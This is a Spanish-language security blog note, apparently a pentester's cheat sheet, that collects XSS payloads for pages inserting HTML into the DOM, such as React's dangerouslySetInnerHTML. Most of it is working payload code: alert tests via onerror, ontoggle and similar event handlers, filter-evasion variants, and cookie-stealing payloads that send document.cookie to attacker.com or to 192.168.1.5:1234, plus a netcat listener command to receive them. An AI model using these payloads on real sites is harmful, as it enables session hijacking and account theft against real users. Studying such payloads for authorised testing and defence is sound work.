cd ~/blog

~/vulns/xss-cross-site-scripting.md

XSS (Cross Site Scripting)

web 24-08-2025
webXSS

~2 min de lectura


El Cross-Site Scripting (XSS) es una vulnerabilidad que permite a un atacante inyectar código JavaScript malicioso en una página web, de modo que éste se ejecute en el navegador de otros usuarios. A partir de ahí se pueden robar cookies de sesión, suplantar al usuario o manipular el contenido que ve la víctima.

Esta nota recopila payloads prácticos, ordenados por su finalidad: pruebas básicas, evasión de filtros y exfiltración de cookies. Muchos están pensados para contextos donde el HTML se inserta directamente en el DOM (por ejemplo, dangerouslySetInnerHTML en React).

Payloads básicos para dangerouslySetInnerHTML (HTML + JS embebido)

  1. Alerta con imagen (onerror)
<img src=x onerror=alert('XSS')>
  1. Etiqueta <iframe> con src javascript: (algunos navegadores bloquean)
<iframe src="javascript:alert('XSS')"></iframe>
  1. Etiqueta <body> con evento onload (en algunos contextos funciona)
<body onload=alert('XSS')>
  1. Etiqueta <video> con evento onerror
<video src=x onerror=alert('XSS')></video>
  1. Etiqueta <audio> con evento onerror
<audio src=x onerror=alert('XSS')></audio>
  1. Etiqueta <math> con evento onload
<math href="javascript:alert('XSS')"></math>
  1. Etiqueta <details> con atributo open y evento ontoggle
<details open ontoggle=alert('XSS')></details>
  1. Etiqueta <style> con expresión CSS que dispara alertas (más raro y limitado)
<style>@import 'javascript:alert("XSS")';</style>

Payloads más complejos para evadir filtros

  1. Uso de comillas diferentes en eventos inline
<img src=x onerror="alert('XSS')">
  1. Uso de comentarios para evadir filtros
<img src=x onerror=alert(/*comment*/'XSS')>
  1. Uso de cadenas codificadas en UTF-8 para evadir filtros
<img src=x onerror=alert('\x58\x53\x53')>
  1. Uso de minúsculas y mayúsculas mezcladas
<IMG SRC=x OnErRoR=alert('XSS')>

Payloads para robar cookies (si es posible)

  1. Inyección de imagen que exfiltra la cookie mediante una URL
<img src="x" onerror="new Image().src='http://attacker.com/log?c='+document.cookie">
  1. Script para enviar la cookie con fetch (requiere etiquetas script permitidas)
<script>fetch('http://attacker.com/log?c='+document.cookie)</script>

Este método es más directo, pero suele quedar bloqueado por la CSP o por filtros de etiquetas en campos que no permiten <script>.

  1. Inyección de una imagen con evento onerror para exfiltrar cookies
<img src="x" onerror="new Image().src='http://192.168.1.5:1234/?cookie=' + document.cookie">

Con este método, el atacante recibe las cookies de la víctima en su máquina, siempre que tenga el puerto 1234 a la escucha con netcat:

ncat -nlvp 1234

Nota: si <script> no funciona (por la CSP o por React), recurre a eventos inline como onerror.

Consideraciones

El payload <script>alert('XSS')</script> normalmente no funciona con dangerouslySetInnerHTML en React,  porque React no ejecuta las etiquetas <script> insertadas de esa forma.

Por eso los payloads basados en eventos inline (onerror, onload, onclick, etc.) suelen dar mejores resultados.

Además, algunos navegadores y políticas de seguridad modernas bloquean ciertos payloads, así que conviene probar varios antes de descartar la inyección.

// relacionados